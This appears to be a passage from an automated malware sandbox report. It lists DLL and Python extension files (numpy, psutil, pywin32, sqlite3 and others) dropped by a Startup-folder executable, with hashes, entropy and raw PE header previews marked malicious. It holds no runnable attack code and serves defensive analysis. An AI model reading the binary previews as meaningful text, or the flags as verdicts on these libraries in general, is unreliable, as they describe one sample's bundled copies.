SHA-512:	D17F3E3C8B5491EEE9C4676924129534090BC98E261791A65A37FC7159EF3CBB399460FF734B90C0BA4267200FE39A88E223DCDAC5F894D2429619A5A35A8273
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........n......."..............................................2.....`..........................................q..`....q..x....................................a..............................0a..8............0.. ............................text............................... .P`.rdata...X...0...Z..."..............@.P@.data................\|..............@.P..pdata..............................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_generator.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	748032
Entropy (8bit):	6.3220720278141656
Encrypted:	false
SSDEEP:	12288:2d3MbPgKkTyEOvuxHEY/ChxPZAxewMjwZVm:03ygKVEOv+h/C5woOVm
MD5:	EB6C0370B2D1B0A2DBEEA61761791BBC
SHA1:	C84B8F4C06A377145B3EAE684031C1E4CCEB9BA3
SHA-256:	A28C26DF6A2C646A4910BA023E8021E5415B98AC6DCACAF3053F72D17887C5F8
SHA-512:	960676916C12BBA5C3846BE0213FA0D4009B310A4DDFA0C6BB9CE6F3E23CB4E8621DE63AF7BC775B365301E0894CFA7B575AD6CAEA3094B67EEFC7CF088FCA27
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................0...............................................3i....`.................................................l...........................................................................8............................................text...8........................... .P`.rdata..:Y.......Z..................@.P@.data....E...@..."...&..............@.P..pdata...............H..............@.0@.reloc...............f..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_mt19937.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.142816459421823
Encrypted:	false
SSDEEP:	1536:C5yx+TYs+6S/TF7K1uA64NHo3avnpt53ID6GTmdEUqAMx53wBS5AS:CM+TLPSrFNA64NRvnptEUqAMx4S5AS
MD5:	1465446040DE11DBD1C8A26796286E33
SHA1:	5D31B0B1DD5A8296504E8E02F5993BA015F596CB
SHA-256:	9EFD52B2243E9A5CDB4477EA1CDE98E2236C7F59F12834D314A9741163323634
SHA-512:	79FED4CC3607F034321625C0909161FDC762B3C5C524D5D79381EE6C494F6C5AF78251155C7817D254B6F750208198CDD3F84773E15264625D1AB42EFB4010AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........z......................................................rm....`..........................................>..`....>..x...............(....................1...............................1..8...............H............................text...H........................... .P`.rdata..Fb.......d..................@.P@.data...h....`.......F..............@.P..pdata..(............P..............@.0@.reloc...............Z..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_pcg64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	96768
Entropy (8bit):	6.070745939576282
Encrypted:	false
SSDEEP:	1536:j9aJTaSaUKVjVH/pLipojyDSxpPuvZ69VxiGPW5kyKi7BtKi:j0OJUKHp2OyYGwi5zltK
MD5:	52A503E18FB2ED7678A514D6703C93FB
SHA1:	AAEEBD4521711E3613E0AEE0ACE4EFD4D9E368B0
SHA-256:	5FA7BA5F5B7A47CEC2C9203EA82168DBBC0D4DB2A78D895F8C34D793B0F435F5
SHA-512:	C986CC4875F2562A36520C01C8E9F9299B01D886291C03C575DDF7E1B73402FC596E4176CCA4E5A281CAF3DEF41DC343955CCBEED0E3D57AE70B924420099A77
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................................................................./....`..........................................W..\...LX..x...............................H....J...............................J..8...............8............................text............................... .P`.rdata...k.......l..................@.P@.data...(....p.......`..............@.P..pdata...............n..............@.0@.reloc..H............x..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_philox.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.047814551605128
Encrypted:	false
SSDEEP:	1536:Lx75TOnYA/Gwdr9W7JBBqvbawGKj5JtbaKB/8f5:L/OnlGIKBwv9j5Jt5/8R
MD5:	A314888D952E28151F51FB12AF313389
SHA1:	5E3861022C73D03916D551E363CEBB564D9C675C
SHA-256:	BD8C599363B6FA6C44A95405588D0BE0A41BAF4183DCED4F3666FBB78821C94C
SHA-512:	4DEB5A2779115E442FEF73644E691C81C90B20B28381F00512A42EDAF5AFB328FDF68CF97D4F83DB3A140644DC5E48077D2DDB1A04E479E13FFE2EF966AB9C45
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........r.......................................................S....`..........................................(..`....)..x............`..\............p..........................................8...............H............................text............................... .P`.rdata...\.......^..................@.P@.data........@.......,..............@.P..pdata..\....`.......6..............@.0@.reloc.......p.......>..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_sfc64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	5.870239312919947
Encrypted:	false
SSDEEP:	768:8y9OSfUi7fLVKDpc+tYCZSAbJHGlditEIPg/g6XsaHWq6RI4oPdxd36OBIEAWX16:HBNLVKhtOmGldiTPW2qb7d3BBIGF6
MD5:	C58ADF9A59953E1C2E405577D496BB77
SHA1:	F14800FF05D7CB7752FB020BBE952DA1113AA4BD
SHA-256:	792C1AC76265E88EE1704FF3852DC3DC85D987ABDCD3104CB1F3573725972C1E
SHA-512:	4F63C6E944F7398F109AEE432F2DF65798ABD1ED07CAC3B96313C91BA7B804700F90E0BF0472D45EC3DE5B30F5EE8F6F0ABB7517F743F0725098AAF981999136
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........\...............................................@......k.....`.........................................0...\.......x............ ...............0......P...............................p...8............................................text...H........................... .P`.rdata...F.......H..................@.P@.data...............................@.P..pdata....... ......................@.0@.reloc.......0......................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\bit_generator.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	172032
Entropy (8bit):	6.185206509240025
Encrypted:	false
SSDEEP:	3072:YC9DM1eFU3uj+IRZXU/W7bbJ73qK3CHd2qN4HEHFTA02+Warahu2+Warahj3qSkl:YC9DM4FU3ujlZkO7bpabHzls02+Wara2
MD5:	661B68A0FE191E522901E8D2E13EBC67
SHA1:	FEC1FD6ABBA3F09FFEAC500D6173A22AE4FA7E36
SHA-256:	F0301A87765D4830EE7F336B83EAE0CCEA32C05DB3CCD1182DB0E24DD3C8FC9F
SHA-512:	77D20C73867919888C56016D7A9D06C6FA401123C5C7C61C58EAA1DB1715EEB07B2ACB4EF81CF7159FE0D5E7496BF4D69EC9C2758AC62EF9F3946DE7CEAEAF01
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."......................................................................`..........................................{..l...\|{..x...............<....................h...............................i..8...............p............................text...h........................... .P`.rdata.."...........................@.P@.data....$...........z..............@.P..pdata..<...........................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\mtrand.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	633344
Entropy (8bit):	6.234789858318424
Encrypted:	false
SSDEEP:	12288:r1zC7nG0yt2OXWFIPwnc7n0gZCoajSFNjwMO:r1zCEAoYIMo0gLFVv
MD5:	6CAEF8CD7B5C287B50B7FC96226ACF4B
SHA1:	CFF02EA433A4ADC1BF362A46A390AEC7AC2F43EB
SHA-256:	52775674E07939F29F5A6107E08B5982C65560571E3A532FEA2F68543A45384B
SHA-512:	436AA8DAF1D0EB81499CB174B5043F3BA9B1792D6D6D5386F92CFA865FFF49DCCEE3B9AC7D63152076D3D22E6D789D7989761E3E97E4610D75AF3DC55590DB6F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....T...R.......X..............................................r)....`..........................................m.......u..................................x....L..............................0L..8............p...............................text....S.......T.................. .P`.rdata.......p.......X..............@.P@.data...h6...........v..............@.P..pdata..............................@.0@.reloc..x...........................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909510426434191
Encrypted:	false
SSDEEP:	1536:aJsHmR02IvVxv7WCyKm7c5Th4MBHTOvyyaZE:apIvryCyKx5Th4M5OvyyO
MD5:	3E579844160DE8322D574501A0F91516
SHA1:	C8DE193854F7FC94F103BD4AC726246981264508
SHA-256:	95F01CE7E37F6B4B281DBC76E9B88F28A03CB02D41383CC986803275A1CD6333
SHA-512:	EE2A026E8E70351D395329C78A07ACB1B9440261D2557F639E817A8149BA625173EF196AED3D1C986577D78DC1A7EC9FED759C19346C51511474FE6D235B1817
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d.....qf.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202008
Entropy (8bit):	6.369252583877094
Encrypted:	false
SSDEEP:	3072:qwJ1l3SauVCjLwifFPYKDRW97oaU+1urfmwl1CnLiHbe7pjMeU8F5IMLhA8:73SauVCwi6KDRW97oaVybCLiS7pq8FZ
MD5:	8C1F876831395D146E3BCADCEA2486DD
SHA1:	82CBFB59F0581A0554D6A5061E1F82E6B46A3473
SHA-256:	D32D7722D6ED2B2780C039D63AF044554C0BA9CF6E6EFEF28EBC79CB443D2DA0
SHA-512:	73067BB8DCC44CD52551A48400BD8E721268DD44F9884EBB603452ECE9C7BD276D40B7CBCA4F10223F27B8CCDCD1D2EC298A1C767A691859AEA10056C108A730
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!...@..@..@..8N..@.:...@.:...@.:...@.:...@.....@..8..@..@..@.....@.....@..."..@.....@.Rich.@.........PE..d...`b.f.........." ...(..................................................... ......gi....`............................................P...@............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...p ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:	768:OV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/d:ODmF61JFn+/Ob5IML0l7SySxUx
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\python312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pythoncom312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	670720
Entropy (8bit):	6.031732543230407
Encrypted:	false
SSDEEP:	12288:NQB2xCzIWn6O6X0f3O+0kMFN8v4+arfopdLvt:NQQxHWn66f++0k2FWt
MD5:	A2CC25338A9BB825237EF1653511A36A
SHA1:	433DED40BAB01DED8758141045E3E6658D435685
SHA-256:	698B9B005243163C245BFA22357B383E107A1D21A8C420D2EF458662E410422F
SHA-512:	8D55D3F908E2407662E101238DACDBD84AE197E6E951618171DEEAC9CFB3F4CB12425212DBFD691A0B930DA43E1A344C5004DE7E89D3AEC47E9063A5312FA74B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`...3...3...3..\3...3...2...3...2...3...2...3...2...3...2...3U..2...3...2...3...3..3U..2..3U..2...3U..2...3Rich...3................PE..d...\|..d.........." ......................................................................`..........................................U...c..............l....@...z............... ......T...........................@...8............................................text............................... ..`.rdata...$.......&..................@..@.data....L..........................@....pdata...z...@...\|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pywintypes312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.9953900911096785
Encrypted:	false
SSDEEP:	3072:Yuh2G0a2fYrFceQaVK756Y/r06trvoEKQAe7KL8KJKVKGajt4:Yuh2faiYrFceQaVfY/rxTBAe7KwKwVrE
MD5:	26D752C8896B324FFD12827A5E4B2808
SHA1:	447979FA03F78CB7210A4E4BA365085AB2F42C22
SHA-256:	BD33548DBDBB178873BE92901B282BAD9C6817E3EAC154CA50A666D5753FD7EC
SHA-512:	99C87AB9920E79A03169B29A2F838D568CA4D4056B54A67BC51CAF5C0FF5A4897ED02533BA504F884C6F983EBC400743E6AD52AC451821385B1E25C3B1EBCEE0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.$g..wg..wg..wn.[wk..w5..vc..w..5wf..w5..vs..w5..vo..w5..vd..ws..vf..w...ve..ws..vl..wg..w...w...vj..w...vf..w...vf..wRichg..w........PE..d......d.........." ................L........................................P............`......................................... u..`B......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:	384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1541912
Entropy (8bit):	6.576517980395355
Encrypted:	false
SSDEEP:	24576:OU/QhAI889YyuQYZlm/8AgzMkf6G5MJ8NW/yKhh+ivz/LZ/Xm+5D3ovTDJl:HVyuQYZlm/8vP6G5MJ8NuF+IzDZ/XPoP
MD5:	F3592DA629E4F247598E232B2CBFBAC1
SHA1:	65429FBEC3F5545640F2CDA784DC7DCCA420EB3B
SHA-256:	054A7B736DE7AFBD447B07EE5E72DF2FEBCAA06758F7A028873771567E8735D3
SHA-512:	6FC24890A7BE1ED73F1EFDF2B7723C3A7DE5DDB36B87FF7B01949FC2B14813E7B7C8B8311ABEE2796A9A4EFFFEDFC1D2020FFA794E59004CA4FB6798B993190D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tB..,...,...,..m....,.D.-...,.D./...,.D.(...,.D.)...,..m-...,...-...,...$...,...,...,......,.......,.Rich..,.........PE..d....b.f.........." ...(.2...,.......1....................................................`..............................................#...&.......p...............X.../......X...0...T..............................@............P..X............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...`M...@...D..................@....pdata...............`..............@..@.rsrc........p.......>..............@..@.reloc..X............H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:	12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\vcruntime140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32gui.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	5.933475371060306
Encrypted:	false
SSDEEP:	3072:tWLvun+3wdpugco/89ClzK0UPI7Txi9jv19DkRHzM2HOlomD:ALWn+gdpugcok9C9OPI7gGzM+N
MD5:	4EE5CFB68E56A5BA61248AE92C60E8C0
SHA1:	50F064A2CB91284130F99637D2756AC07AF85B01
SHA-256:	E3698280FF0C7769C1CDACF302688735CF4AB632989E1312D2A45747E79F5DF2
SHA-512:	B173C595A8F7D66000AE5BF88ABC7D411A5AF01C5AC2EF73A162199F2F77404654A7F08A9E3E2F3319F5002459CBCB953311641AF525F627E077EBEB7240DC4F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{e..............b.......o.......o.......o.......o......fo.......q..........k...fo......fo......fo......Rich............PE..d... ..d.........." .........r...... .....................................................`............................................d...T........`..\.... ..h:...........p.......L..T............................M..8............................................text............................... ..`.rdata..............................@..@.data...p?.......:..................@....pdata..h:... ...<..................@..@.rsrc...\....`.......D..............@..@.reloc.......p.......H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32process.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	5.669827196110115
Encrypted:	false
SSDEEP:	768:W00BG7eFeMpMIO4gbRqnnuf0yY0EWdrKmt90y2I/r:W0g4eFe9IO4gbRnxY0EKrKmAyvr
MD5:	E3AD93E6EF7B66887B2055B0951847D5
SHA1:	68EE4247077229EF117AC9B639EE12BF5FD6364B
SHA-256:	681875CDC970134C36F178B57B26CF279E72E2A80BC9F31A2F7740F2D6834B5D
SHA-512:	F0C0CF1B75CE6E9EC8AF50433FD35C1CCBB497654FEF4606916AC430B438E51A1DD3D94B847F13D7DAD85EA2A93813C0A1FC33808AF0C1CCF621C87D25725E0F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........YI..8'E.8'E.8'E.@.E.8'E.M&D.8'E.M"D.8'E.M#D.8'E.M$D.8'EZM&D.8'E.S&D.8'E.8&E.8'EZM.D.8'EZM'D.8'EZM%D.8'ERich.8'E........................PE..d......d.........." .....l...`......he....................................... ............`.........................................P...X...............l.......................L...(...T...............................8............................................text...rk.......l.................. ..`.rdata...B.......D...p..............@..@.data...............................@....pdata..............................@..@.rsrc...l...........................@..@.reloc..L...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\yaml\_yaml.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	263680
Entropy (8bit):	6.181649262977034
Encrypted:	false
SSDEEP:	3072:gtbMq1F0mru+f0IUph92JI0KwcC3t8KGNiTHvev2gc4VUXZcp3:gtbAwCphwu0KwcEt8NQTvC2Bzc
MD5:	13912163DA75576B3571D84420599A14
SHA1:	1EA8DDC96B47D2480761F69CAAB01C929837BA7F
SHA-256:	071EDEFCB110C7B727775FC0F7F9C2969DD7EFB83EFCBC356A8000B5865BC169
SHA-512:	0BE612BA7DD5AA9929E9D0044F614DABC7DE0D02378A844B74890C32463FA5C02C960AABEA9ECE5DF472A0A7D5DEB4D79D5659031F07A5EA9414D17CDA08322B
Malicious:	true
